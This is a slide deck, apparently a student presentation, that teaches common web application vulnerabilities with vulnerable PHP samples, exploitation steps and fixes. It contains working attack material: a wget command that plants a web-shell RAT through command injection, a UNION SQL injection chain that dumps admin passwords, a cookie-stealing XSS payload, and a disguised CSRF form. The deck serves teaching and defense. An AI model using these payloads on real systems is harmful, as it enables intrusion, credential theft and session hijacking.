SlideShare ist ein Scribd-Unternehmen logo
1 von 116
WEB APPLICATION
VULNERABILITIES: DAWN,
DETECTION, EXPLOITATION
AND DEFENSE
PREPARED BY:
AJITH KP,
KUSIST MANGATTUPARAMBA,
MCA (LAT)
WEB APPLICATION VULNERABILITIES:
INTRODUCTION
 Web applications are popular software application types in which the client
runs the application stored in server in his/her web browser.
 A vulnerability is a weakness which allows an attacker to reduce a system's
information assurance.
 The most common reason behind vulnerability is developers focus only on
productivity rather than quality and security.
 Vulnerability allows hackers/crackers to control servers, access sensitive
details, breach privacy of users, etc.
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 Most common vulnerability found in web applications are,
 Injection Vulnerabilities
 Remote Command Execution (RCE)
 SQL Injection (SQLi)
 File Inclusion
 Local File Inclusion (LFI)
 Remote File Inclusion (RFI)
 Cross Site Scripting (XSS)
 Cross Site Request Forgery
 Broken Authentication and Session Management
 Insecure direct object reference
 Unvalidated redirects and forwards
 Arbitrary File Upload
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 According to the survey of web application security firm Acunetix, the 60%
of found vulnerabilities affects web applications.
 According to the security vendor Cenzic, the top vulnerabilities in March
2012 include:
Percentage Vulnerability
37% Cross-site scripting
16% SQL injection
5% Path disclosure
5% Denial-of-service attack
4% Arbitrary code execution
4% Memory corruption
4% Cross-site request forgery
5% File inclusion
3% Data breach (information disclosure)
16% Other, including code injection
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 The most efficient way to detect and solve vulnerability is manual code
review.
 security society actively develops automated approaches to finding
security vulnerabilities
 But it is time consuming process and also require expert skills. So most of
firms skips this step.
 This leads the vulnerabilities unpatched, and cause breaching of security.
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 Remote Exploit
collection from
0day.today
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 Local Exploit Collection from
0day.today
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 Web Application Exploits
collection from 0day.today
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 DOS Exploit collections from
0day.today
WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
 Shellcodes from 0day.today
INJECTION
VULNERABILITIES
INJECTION VULNERABILITIES
 Injection vulnerabilities are most dangerous vulnerability.
 Injection flaws allow attackers to relay malicious code through an
application to another system.
 These attacks include calls to the operating system via system calls, the use
of external programs via shell commands, as well as calls to backend
databases via SQL.
 Whole scripts written in PHP, Python, and other languages can be injected
into poorly designed applications and executed.
 Any time an application uses an interpreter of any type there is a danger of
introducing an injection vulnerability.
INJECTION VULNERABILITIES
(Cont.)
 Many web applications use operating system features and external
programs to perform their functions.
 When a web application passes information from an HTTP request through
as part of an external request, it must be carefully scrubbed.
 The attacker can inject special (meta) characters, malicious commands, or
command modifiers into the information and the web application will
blindly pass these on to the external system for execution.
 Injection vulnerabilities can be very easy to discover and exploit, but they
can also be extremely obscure.
 The consequences of a successful injection attack can also run the entire
range of severity, from trivial to complete system compromise or
destruction.
REMOTE CODE EXECUTION
INJECT YOUR COMMAND/CODE
REMOTE CODE EXECUTION
 Remote Code Injection is the most dangerous and easiest to exploit
among other injection vulnerabilities.
 Also known as arbitrary code injection.
 The RCE allows attacker to execute command/code in remote machines
including operating system commands.
REMOTE CODE EXECUTION: DAWN
 The common reason behind the RCE vulnerability is executing unvalidated
commands.
 The application may execute command or code that are inserted using
queries.
 If the application is not designed to validate the commands inserted in
queries, the hacker/cracker may inject their own command/code.
 Execution of their command/code may cause the allowing unauthorized
access to server to the hacker/cracker.
REMOTE CODE EXECUTION: DAWN
(Cont.)
 The following program is an example of RCE vulnerable webpage.
 The bellow webpage is RCE vulnerable because it read the name from
query and uses as the argument for the command echo without proper
validation.
<?php
$name = $_GET['name'];
system("echo $name");
?>
REMOTE CODE EXECUTION: DAWN
(Cont.)
 Screenshot of vulnerable
application.
REMOTE CODE EXECUTION:
DETECTION
 Detection of RCE vulnerable webpage is very easy.
 Just inject another command/code along with current or replace current
command with new one.
 If the webpage shows result of newly injected command/code we can
conclude the webpage is vulnerable to RCE.
REMOTE CODE EXECUTION:
DETECTION(Cont.)
REMOTE CODE EXECUTION: EXPLOIT
 Like detecting RCE vulnerability, exploiting vulnerability is also very easy.
 The exploitation can be done the same way we detected the RCE
vulnerability.
 That is, append the commands to the query.
 It enables intruders to get unauthorized access to remote server which
makes high risk.
 Normally the hackers/crackers uses RATs to get full access on server.
 Several server backdoors are available in Internet.
 Most popular backdoors are: C99, Indrajith Mini Shell, b374k, Madspot
shell, etc.
REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
 Here shows how the hacker downloads the Indrajith Mini Shell from
https://packetstormsecurity.com.
 The Indrajith Mini Shell is located at
https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-
2.0.txt .
 To download remote files, the command wget is used in Linux. Also it is
available to Windows.
 To download Indrajith Mini Shell, we can use command:
wget https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt –O indr.php
REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
 After inject
wget
command.
REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
 After download
complete, we can control
the server using Indrajith
Mini Shell RAT.
REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
 The defense against RCE vulnerability good programming approach.
 Validate the queries before execute.
 Try to avoid accepting command/code from queries maximum.
SQL INJECTION
INJECT YOUR OWN SQL QUERIES
SQL INJECTION
 SQLi allows intruder to execute SQL queries.
 A SQL injection attack consists of insertion or "injection" of a SQL query via
the input data from the client to the application.
 A successful SQL injection exploit can read sensitive data from the
database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS),
SQL INJECTION:DAWN
 The reason behind SQLi is the developers careless coding.
 SQL statements must be enclosed carefully, and otherwise the result will be SQLi.
<?php
$id = $_GET['id'];
$conn = new mysqli("localhost", "root", "", "items");
$res = $conn->query("SELECT * FROM items WHERE id=$id;") or die(mysqli_error($conn));
if ($res->num_rows > 0) {
while($r = $res->fetch_assoc()){
echo "Your name is ".$r['name'];
}
}
$conn->close();
?>
SQL INJECTION:DAWN
(Cont.)
 The above code is vulnerable to SQLi because the developers is not
validating the `id` query read from URL.
 So, we can manipulate the `id` and insert new queries to it.
 Here, the program uses query SELECT * FROM items WHERE id=1
 The id is read from URL query.
 If hacker/cracker append some query like, SELECT * FROM items WHERE
id=1 union select 1,@@version the output will be look like bellow image.
SQL INJECTION:DAWN
(Cont.)
SQL INJECTION:DAWN
(Cont.)
 We have executed a new query along with desired query.
 This is the mechanism where hacker/cracker uses in SQLi.
SQL INJECTION:DETECTION
(Cont.)
 Like other injection flaws, SQLi is also easy to detect.
 Make some errors in query and check what impact is it makes.
 Eg. In above webpage the `id` is read from query and the type of `id` is
integer, alter the query and append a single quote at the end.
 If the webpage shows error like: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1 we can conclude the webpage is
vulnerable to SQLi.
SQL INJECTION:EXPLOITATION
(Cont.)
 Exploiting SQLi not as easy like RCE.
 We have several steps to extract data/insert data/update data.
SQL INJECTION:EXPLOITATION
STEP 1: COUNT NUMBER OF COLUMNS
 To find number of columns we
use statement ORDER BY which
tells database how to order the
result.
 To count the columns just
incrementing the number until
we get an error.
 http://www.site.com/sqli.php?id=
1 order by 1 /* <-- no error
 http://www.site.com/sqli.php?id=
1 order by 2 /* <-- no error
 http://www.site.com/sqli.php?id=
1 order by 3 /* <-- error (we get
message like this Unknown
column '3' in 'order clause' or
something like that)
 That means that it has 2 columns,
because we got an error on 3.
SQL INJECTION:EXPLOITATION
STEP 2: FINDING VULNERABLE COLUMN
 To find that, use query,
 http://www.site.com/sqli.p
hp?id=1 union select 1,2—
 The webpage shows 2
because the webpage
showing 2nd column data.
SQL INJECTION:EXPLOITATION
STEP 3: FINDING SQL SERVER VERSION AND DATABASE
 To view which version of
SQL server is using,
replace `2` with version()
or @@version
 http://www.site.com/sqli.p
hp?id=1 union select
1,@@version--
SQL INJECTION:EXPLOITATION
STEP 3: FINDING SQL SERVER VERSION AND DATABASE
 To view which version of
SQL server is using,
replace `2` with
database().
 http://www.site.com/sqli.
php?id=1 union select
1,database()--
SQL INJECTION:EXPLOITATION
STEP 4: LIST OUT ALL TABLES
 To list out all tables bellow
query is used.
 http://www.site.com/sqli.php
?id=1 union select
1,group_concat(table_name)
from
information_schema.tables
where
table_schema=database()--
 group_concat(): Return a
concatenated string.
SQL INJECTION:EXPLOITATION
STEP 5: LIST OUT COLUMNS FROM SELECTED TABLE
 Here, we have 2 tables: items
and admin. The sensitive details
may store in admin table. So,
let’s dump admin table.
 First step is get the column
names of table admin. To get
these details, the bellow query
is used.
 http://www.site.com/sqli.php?id
=1 union select 1,
group_concat(column_name)
from
information_schema.columns
where table_name=CHAR(97,
100, 109, 105, 110)–
 The table name `admin` can be
represent using ASCII value or
hex value.
 The output shows, admin table
contains columns uid, uname
and password.
SQL INJECTION:EXPLOITATION
STEP 6: DUMP DATA
 Next step is dump data
from table `admin`.
 http://www.site.com/sqli.ph
p?id=1 union select
1,group_concat(uid, 0x3a,
uname, 0x3a,
password,0x3b)+from+ad
min—
 The output shows that uid
is 1, username is
`ajithkp560` and password
is `mypasswd`. So, we have
successfully dumped the
data from database.
SQL INJECTION:EXPLOITATION
STEP 6: DUMP DATA LIVE SAMPLE
SQL INJECTION: DEFENSE
 The defense for SQLi is good programming approaches.
 The good programming approach is use prepared statements and
parameterized queries.
 These are SQL statements that are sent to and parsed by the database
server separately from any parameters.
 This way it is impossible for an attacker to inject malicious SQL queries.
SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
 A prepared statement is a feature used to execute the same (or similar)
SQL statements repeatedly with high efficiency.
 Prepared statements basically work like this:
 Prepare: An SQL statement template is created and sent to the database.
Certain values are left unspecified, called parameters (labeled "?"). Example:
INSERT INTO MyGuests VALUES(?, ?, ?)
 The database parses, compiles, and performs query optimization on the SQL
statement template, and stores the result without executing it
 Execute: At a later time, the application binds the values to the parameters, and
the database executes the statement. The application may execute the
statement as many times as it wants with different values
SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
 Compared to executing SQL statements directly, prepared statements have
two main advantages:
 Prepared statements reduces parsing time as the preparation on the query is
done only once (although the statement is executed multiple times).
 Bound parameters minimize bandwidth to the server as you need send only the
parameters each time, and not the whole query.
 Prepared statements are very useful against SQL injections, because
parameter values, which are transmitted later using a different protocol,
need not be correctly escaped.
 If the original statement template is not derived from external input, SQL
injection cannot occur.
SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
 The secured version sample program is,
<?php
$id = $_GET['id'];
$conn = new mysqli("localhost", "root", "", "items");
$st = $conn->prepare("SELECT * FROM items where id = ?");
$st->bind_param("i", $id);
$st->execute();
$st->bind_result($id, $name);
while($st->fetch()){
echo "Your name is $name";
}
$conn->close();
?>
SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
 After secured using
prepared statements, the
error in SQL statement
not makes any error
messages in webpage.
 That is SQLi bug is
eliminated.
FILE INCLUSIN
INCLUDE WHAT YOU WANT.
FILE INCLUSION
 File inclusion is another dangerous vulnerability in web applications which
cause inclusion of intruder desired files such as RAT or sensitive files like
/etc/passwd, /etc/shadow, etc.
 The vulnerability occurs due to the use of user-supplied input without
proper validation.
 This can lead to something as minimal as outputting the contents of the
file or more serious events such as:
 Code execution on the web server.
 Code execution on the client-side such as JavaScript which can lead to other
attacks such as cross site scripting (XSS).
 Denial of service (DoS).
 Data theft/manipulation.
FILE INCLUSION
(Cont.)
 The file inclusion have two types according to the file can be included.
 Remote File Inclusion: Remote File Inclusion (RFI) is a type of vulnerability
most often found on websites. It allows an attacker to include a remote file,
usually through a script on the web server. The vulnerability occurs due to the
use of user-supplied input without proper validation.
 Local File Inclusion: Local File Inclusion (LFI) is similar to a Remote File
Inclusion vulnerability except instead of including remote files, only local files
i.e. files on the current server can be included. The vulnerability is also due to
the use of user-supplied input without proper validation.
FILE INCLUSION:DAWN
 Like other injection flaws, the file inclusion vulnerability also arise due to
improper development.
 The developer should hide the details of including files from user.
 The vulnerability occurs due to the use of user-supplied input without proper
validation.
 The file inclusion vulnerability is an example of insecure direct object reference
 Eg.
<?php
$col = $_GET['color'];
include($col);
?>
FILE INCLUSION:DETECTION
 File inclusion vulnerability can be detect using change the query value.
 After altering the query value, the webpage shows some changes, we can
declare it is vulnerable to file inclusion.
FILE INCLUSION:DETECTION
Before alter query value After alter query value
FILE INCLUSION:EXPLOITATION
 Like the detection, exploitation also very simple.
 The exploitation can be done by including malicious webpages or sensitive
file into vulnerable page.
FILE INCLUSION:EXPLOITATION
RFI Sample
FILE INCLUSION:EXPLOITATION
LFI Sample
FILE INCLUSION:EXPLOITATION
LFI Live Sample
FILE INCLUSION:EXPLOITATION
RFI Defense
 To protect from RFI with simple way edit the php.ini file. Open php.ini in editor. Find
allow_url_fopen and allow_url_include and change from on to off. It will resist the page
from inclusion of remote page.
 Next is editing of .htaccess in Apache server. .htaccess file is the configuration file of
Apache server.
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(??)+
RewriteRule .* http://www.site.com [R,L]
 The above .htaccess configuration will check the query string and if any `http://` or
`ftp://` string found in query, redirect to http://www.site.com.
 Validate the user queries. This is traditional defense mechanism. Validate the user inputs
and if malicious query found, cancel the inclusion.
FILE INCLUSION:EXPLOITATION
LFI Defense
 LFI protection can be achieved through good programming practices.
 Avoid including files from queries will solve maximum.
 Also provide a good verifying procedure to verify the queries from user.
CROSS SITE
SCRIPTING
INJECT YOUR SCRIPT
CROSS SITE SCRIPTING
 This vulnerability also known as XSS.
 XSS vulnerability is dangerous vulnerability which is harm for clients. That is, it is a
client side attacking vulnerability.
 Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts
are injected into otherwise benign and trusted web sites.
 XSS attacks occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user.
 Flaws that allow these attacks to succeed are quite widespread and occur anywhere a
web application uses input from a user within the output it generates without
validating or encoding it.
CROSS SITE SCRIPTING: DAWN
 Cross-Site Scripting (XSS) attacks occur when:
 Data enters a Web application through an untrusted source, most frequently a web
request.
 The data is included in dynamic content that is sent to a web user without being validated
for malicious content.
 The malicious content sent to the web browser often takes the form of a segment of
JavaScript, but may also include HTML, Flash, or any other type of code that the
browser may execute.
 The variety of attacks based on XSS is almost limitless, but they commonly include
transmitting private data, like cookies or other session information, to the attacker,
redirecting the victim to web content controlled by the attacker, or performing other
malicious operations on the user's machine under the guise of the vulnerable site.
CROSS SITE SCRIPTING: DAWN
 Stored and Reflected XSS Attacks
 XSS attacks can generally be categorized into two categories: stored and
reflected.
 Stored XSS Attacks
 Stored attacks are those where the injected script is permanently stored on the
target servers, such as in a database, in a message forum, visitor log, comment
field, etc.
 The victim then retrieves the malicious script from the server when it requests
the stored information.
 Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
CROSS SITE SCRIPTING: DAWN
 Reflected XSS Attacks
 Reflected attacks are those where the injected script is reflected off the web server,
such as in an error message, search result, or any other response that includes some
or all of the input sent to the server as part of the request.
 Reflected attacks are delivered to victims via another route, such as in an e-mail
message, or on some other web site.
 When a user is tricked into clicking on a malicious link, submitting a specially crafted
form, or even just browsing to a malicious site, the injected code travels to the
vulnerable web site, which reflects the attack back to the user’s browser.
 The browser then executes the code because it came from a "trusted" server.
 Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.
CROSS SITE SCRIPTING: DAWN
 Example:
<?php
session_start();
if(!$_SESSION['name']){
$_SESSION['name']=$_GET['name'];
}
echo "Hello, ".$_SESSION['name']."<br />";
echo 'You searched: '.$_GET['q'];
?>
 In this example, the query is directly showing in the webpage without any
validation. So, this webpage is vulnerable to XSS.
CROSS SITE SCRIPTING: DETECTION
 XSS flaws can be difficult to identify and remove from a web application.
 The best way to find flaws is to perform a security review of the code and search for all
places where input from an HTTP request could possibly make its way into the HTML
output.
 Note that a variety of different HTML tags can be used to transmit a malicious JavaScript.
 Nessus, Nikto, and some other available tools can help scan a website for these flaws, but
can only scratch the surface. If one part of a website is vulnerable, there is a high
likelihood that there are other problems as well.
 Simply the XSS vulnerabilities are detected by injecting simple script to it and check
whether the script is executed or not.
 Normally, an alert() function is injected.
 Example. http://site.com/xss.php?name=Ajith&q=<script>alert(‘Ajith’);</script>
CROSS SITE SCRIPTING: DETECTION
CROSS SITE SCRIPTING:
EXPLOITATION
 The exploitation of XSS vulnerability is done by injecting malicious script
code into it.
 Normally XSS vulnerability is used to highjack cookies of users.
 Now, let’s redirect the user to a malicious script which stores cookie value.
To get cookie, inject the script:
<script>location.href='http://localhost/ajith/cookie.php?cookie='+docume
nt.cookie;</script>
 In URL Encoded form. That is,
%3Cscript%3Elocation.href%3D%27http%3A%2F%2Flocalhost%2Fajith%2F
cookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E
CROSS SITE SCRIPTING:
EXPLOITATION
 After visiting the script
injected page, the user
redirects to malicious
page.
 The malicious page have
captured the session
cookie of user.
CROSS SITE SCRIPTING:
EXPLOITATION
 The next step is cookie poisoning. The Cookies add-ons of Google Chrome
is used to edit cookie.
 Cookie poisoning: Editing session cookie of intruder with the session
cookie value of victim (user).
 That is hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.
CROSS SITE SCRIPTING:
EXPLOITATION
 Hacker/Cracker’s
session.
 His session says his
name is `Vishnu`.
CROSS SITE SCRIPTING:
EXPLOITATION
 Cookie poisoning step.
 Change value of session
cookie PHPSESSIONID ‘s
value
hkjeeiht0o2mm9g5ssa2fnadi
5 with
n4u6llvn311fctco07918i58b4.
CROSS SITE SCRIPTING:
EXPLOITATION
 After cookie poisoning,
refresh webpage.
 Now the session says the
user is `Ajith`.
 That is hacker/cracker have
successfully exploited XSS
vulnerability.
CROSS SITE SCRIPTING: DEFENSE
 Defense against XSS is good coding approaches, that is, do not allow injecting
untrusted data into the webpage.
 Never Insert Untrusted Data Except in Allowed Locations
 Untrusted data must not be shown in webpage directly. It will lead to XSS vulnerability.
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
CROSS SITE SCRIPTING: DEFENSE
(Cont.)
 HTML Escape Before Inserting Untrusted Data into HTML Element Content
 The another method to prevent XSS vulnerability is escape the following characters with HTML
entity encoding to prevent switching into any execution context, such as script, style, or event
handlers. Using hex entities is recommended in the spec. In addition to the 5 characters
significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity.
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;
 If the untrusted data are escaped, we can prevent XSS vulnerability successfully.
 In PHP the function htmlspecialchars() is used to escape the untrusted data.
CROSS SITE SCRIPTING: DEFENSE
(Cont.)
 The secured code of above XSS vulnerable example is,
<?php
session_start();
if(!$_SESSION['name']){
$_SESSION['name']=htmlspecialchars($_GET['name']);
}
echo "Hello, ".$_SESSION['name']."<br />";
echo 'You searched: '.htmlspecialchars($_GET['q']);
?>
CROSS SITE SCRIPTING: DEFENSE
(Cont.)
 After encoding the
character before showing
in webpage.
 The injection of script is
failed here.
CROSS SITE
REQUEST FORGERY
SUBMIT ANY FORM DATA YOU PREFER
CROSS SITE REQUEST FORGERY
 Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
unwanted actions on a web application in which they're currently authenticated.
 CSRF attacks specifically target state-changing requests, not theft of data, since the
attacker has no way to see the response to the forged request.
 With a little help of social engineering (such as sending a link via email or chat), an
attacker may trick the users of a web application into executing actions of the
attacker's choosing.
 If the victim is a normal user, a successful CSRF attack can force the user to perform
state changing requests like transferring funds, changing their email address, and so
forth.
 If the victim is an administrative account, CSRF can compromise the entire web
application.
CROSS SITE REQUEST FORGERY:
DAWN
 The reason behind CSRF is accepting non validated data requests received.
 Most of developers are unaware of CSRF because it is not a popular
vulnerability among other dangerous vulnerabilities.
 Because, the hacker/cracker cannot get access to server nor client, but can
do some jobs by the client in server.
 This vulnerability will become most dangerous when the websites like
online banking, online market, etc. websites are vulnerable to CSRF.
 The hacker/cracker can transfer money or buy thing using the CSRF
vulnerability.
CROSS SITE REQUEST FORGERY:
DAWN (Cont.)
 Sample webpage code which is vulnerable to CSRF.
<?php
session_start();
if($_SESSION['name']){
?>
<form method="post" action="?">
<textarea name='msg'></textarea><br/>
<input type="submit" value="send" />
</form>
<?php
}
if(isset($_REQUEST['msg'])){
echo $_SESSION['name'].": ".$_REQUEST['msg'];
}
?>
CROSS SITE REQUEST FORGERY:
DAWN (Cont.)
CROSS SITE REQUEST FORGERY:
DETECTION
 The CSRF can be detect by sending requests created manually to the
preferred webpage.
 If the webpage responds to the request, the webpage is vulnerable to
CSRF.
 To check this, we can use Live HTTP Headers, an add-ons of Mozilla
Firefox.
 The tool is very popular among hackers/crackers because altering headers
are important steps in many vulnerability exploitations.
CROSS SITE REQUEST FORGERY:
DETECTION (Cont.)
 Before altering message
using Live HTTP Header.
CROSS SITE REQUEST FORGERY:
DETECTION (Cont.)
 After altering message
through Live HTTP Headers.
 Successfully send new data
through the Live HTTP
Headers and the webpage
respond to the data we have
send.
CROSS SITE REQUEST FORGERY:
EXPLOITATION
 Most commonly the exploitations are done by cheating clients by hiding forms, or
automatic form submitter. A sample malicious code which will submit message to the
above form is bellow,
<html>
<header>
<title>Get Avast! Key</title>
</header>
<body>
<form method="post" action="http://localhost/ajith/csrf.php">
<input name="msg" type="hidden" value="I hacked you" />
<input type="submit" value="Generate Avast! Key" />
</form>
</body>
</html>
CROSS SITE REQUEST FORGERY:
EXPLOITATION (Cont.)
 It is fake page which
says it will give you
Avast! Antivirus serial
key.
 But really, if you click
the button the hidden
form will submit to the
page csrf.php page.
 Also notice that, the
form is not in the same
domain where csrf.php
lies.
CROSS SITE REQUEST FORGERY:
EXPLOITATION (Cont.)
 The victim have submitted
the form with message `I
hacked you` without concern
of victim.
 The CSRF vulnerability will
become more malicious
when the website is of
online banking or online
trading.
CROSS SITE REQUEST FORGERY:
DEFENSE
 The defense of CSRF is done by following ways.
 Using a secret cookie
 Remember that all cookies, even the secret ones, will be submitted with every request. All authentication
tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request.
 Furthermore, session identifiers are simply used by the application container to associate the request with a
specific session object.
 The session identifier does not verify that the end-user intended to submit the request.
 Only accepting POST requests
 Applications can be developed to only accept POST requests for the execution of business logic.
 The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot
be executed: Unfortunately, this logic is incorrect.
 There are numerous methods in which an attacker can trick a victim into submitting a forged POST request,
such as a simple form hosted on the attacker's website composed entirely of hidden fields.
 This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form
will do something else.
CROSS SITE REQUEST FORGERY:
DEFENSE (Cont.)
 Use GET requests only for retrieve data, not for manipulate any data
in server
 The GET requests can be come from any website because it will be shown I URL
bar of web browser and can be copy to share.
 So, use the GET requests only for retrieve data and not used for manipulate any
data stored in server.
 Server side protection
 Another defending way is use WAF (Web Application Firewall) to verify the
requests came to server.
 Today most of frameworks provide the CSRF security. The framework like Code
Igniter (PHP), Ruby on Rails (Ruby), Django (Python) provides security against
CSRF.
BROKEN
AUTHENTICATION AND
SESSION MANAGEMENT
OPEN ANY WEBPAGE YOU WANT
BROKEN AUTHENTICATION AND
SESSION MANAGEMENT
 Broken authentication and session management is common vulnerabilities
that appears on applications developed by newbie developers.
 Commonly this type of vulnerabilities arise when the developer
authenticates user only on the login page and in other pages forgets to
verify the user.
BROKEN AUTHENTICATION AND
SESSION MANAGEMENT: DAWN
 The broken authentication and session management is arise due to development of
application by inexperience developers and also due to provide authentication in
important pages.
 Also another important weakness is improper session management. If the sessions are
showing in public, like showing it in URL also will lead to broken authentication.
 A common example of broken authentication is, in a website of project management
system, manager can login through login_manager.php, and after login he will redirect
to home_manager.php.
 The developer verifies username and password in the page login_manager.php and if
login successful, he will redirect to home_manager.php, where he avoids verification of
user who opened the page.
 That enables anyone can open home_manager.php page directly without login.
 The broken authentication and session management will become more dangerous when
the page which does not verify the user have right to upload new files and edit data
stored in server.
BROKEN AUTHENTICATION AND
SESSION MANAGEMENT: DETECTION
 Very easy to identify.
 Check whether the page which will open only after login can open directly
without login.
BROKEN AUTHENTICATION AND SESSION
MANAGEMENT: EXPLOITATION
 The exploitation have the same step of detection.
 If the intruder can open the sensitive important webpage without login, he
can manage or get information stored in that webpage.
 Also, if that page allows to edit, delete, create or upload data the
vulnerability will become evil.
BROKEN AUTHENTICATION AND SESSION
MANAGEMENT: DEFENSE
 Defense for the broken authentication and session management is good
development practices.
 If authentication needed, provide authentication procedure and if any
unauthenticated request to the webpage comes avoid responding to the
requests.
 Also handle the sessions with care.
 Do not make session values public, if it shows in public, the sessions may
high jacked just like showed in exploitation of XSS.
INSECURE DIRECT OBJECT REFERENCE
 Insecure direct object reference can be originate in many ways.
 One of the example of insecure direct object reference including page
referred by query.
 We have discussed about file inclusion vulnerability which is an example of
insecure direct object reference.
 Another example of insecure direct object reference is cross site scripting
(XSS).
INSECURE DIRECT OBJECT REFERENCE:
DAWN
 The insecure direct object reference vulnerability is originates because of
improper programming practices.
 The developer must not use the objects directly for sensitive purposes.
 While talking about file inclusion, the vulnerability is occurred because of
including file directly from the query.
 Like that when using direct objects the developer must consider all
probabilities of misusing it.
INSECURE DIRECT OBJECT REFERENCE:
DAWN(Cont.)
 Example code:
<?php
$user = $_GET['user'];
$conn = new mysqli("localhost", "root", "", "items");
$st = $conn->prepare("SELECT * FROM users where uname = ?");
$st->bind_param("s", $user);
$st->execute();
$st->bind_result($uname, $name, $address);
while($st->fetch()){
echo "Hello, ".$name."<br/>Your username is ".$uname."<br/>Address is ".$address;
}
$conn->close();
?>
 Here the username is taking directly without verifying the user.
INSECURE DIRECT OBJECT REFERENCE:
DAWN(Cont.)
 Here, the username is
referenced directly from
query without verifying the
user.
INSECURE DIRECT OBJECT REFERENCE:
EXPLOITATION
 The exploitation of insecure direct object reference vulnerability is done by
changing the values of direct objects and if the webpage responds with
direct object’s values maliciously, the vulnerability may cause data expose
and like file inclusion vulnerabilities will cause getting access to server.
 The above example can be exploit using change the query `name` ’s value.
INSECURE DIRECT OBJECT REFERENCE:
EXPLOITATION (Cont.)
 After altering the query value
of user, the hacker/cracker
have opened the user
account of another user.
 The above process is done
without any validation.
UNVALIDATED
REDIRECTS AND
FORWARDS
REDIRECT USER TO ANYWHERE
UNVALIDATED REDIRECTS AND
FORWARDS
 This is not a serious vulnerability to the server, but it may tricked to the
users by phishing, cheating forms, etc.
 So, the developer must care about unvalidated redirects and forwards.
UNVALIDATED REDIRECTS AND
FORWARDS: DAWN
 Like other vulnerability this vulnerability too appears because of improper
development practices.
 This is another example of insecure direct object reference. Because the univalidated
redirection occurs because of hacker/cracker can include the redirecting path directly
to the webpage through queries.
 Example:
<?php
$url = $_GET['url'];
header("Location: $url");
?>
 The above example webpage code will redirect the user to the webpage specified by
the query `url` without any validations.
UNVALIDATED REDIRECTS AND
FORWARDS: EXPLOITATION
 The unvalidated redirections and forwards can be exploited by redirecting
user to the phishing page or any other malicious webpages.
 In the above example we can redirect the user by giving link,
http://www.site.com/redirect.php?url=http://malicioussite.com/maliciousp
age.php
 If the user opened the above URL, the user will redirect without any
validation, to the page http://malicioussite.com/maliciouspage.php.
UNVALIDATED REDIRECTS AND
FORWARDS: DEFENSE
 The defense against unvalidated redirects and forwards are just provide
validation procedure before redirected to the webpage.
 The access checking is better way to validate the redirection URL. Before
redirect check to ensure the user is authorized for the requested object.
 Also we can use the same mechanism we have used to defend CSRF
vulnerability, that is, use a token to verify the real user is requested the
redirection.
ARBITRARY FILE
UPLOAD
UPLOAD ANYTHING
ARBITRARY FILE UPLOAD
 This vulnerability also known as unrestricted file upload vulnerability.
 Uploaded files represent a significant risk to applications.
 The first step in many attacks is to get some code to the system to be attacked.
 Then the attack only needs to find a way to get the code executed.
 Using a file upload helps the attacker accomplish the first step.
 The consequences of unrestricted file upload can vary, including complete system
takeover, an overloaded file system or database, forwarding attacks to back-end
systems, and simple defacement.
 It depends on what the application does with the uploaded file and especially where
it is stored.
ARBITRARY FILE UPLOAD
(Cont.)
 There are really two classes of problems here. The first is with the file
metadata, like the path and file name.
 These are generally provided by the transport, such as HTTP multi-part
encoding.
 This data may trick the application into overwriting a critical file or storing
the file in a bad location.
 You must validate the metadata extremely carefully before using it.
ARBITRARY FILE UPLOAD: DAWN
 The vulnerability arise due to allow users to upload any type of files without any validations.
 Example:
<form method="POST" enctype="multipart/form-data">
<input type="file" name="ufile" />
<input type="submit" name="upl" value="UPLOAD" />
</form>
<?php
if(isset($_REQUEST['upl'])){
if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){
echo "You have uploaded: ".$_FILES['ufile']['name'];
}
}
?>
ARBITRARY FILE UPLOAD:
EXPLOITATION
 The exploitation of this vulnerability include uploading files which can be used to
attack the platforms like PHP, JSP, ASP, etc.
 That is upload the RATs. Also, the hacker/cracker can upload malicious executable
files like Trojans and can made users to download and execute the Trojans.
 Attacks on application platform
 Upload .php file into web tree – php code executed as web user
 Upload .gif to be resized - image library flaw exploited
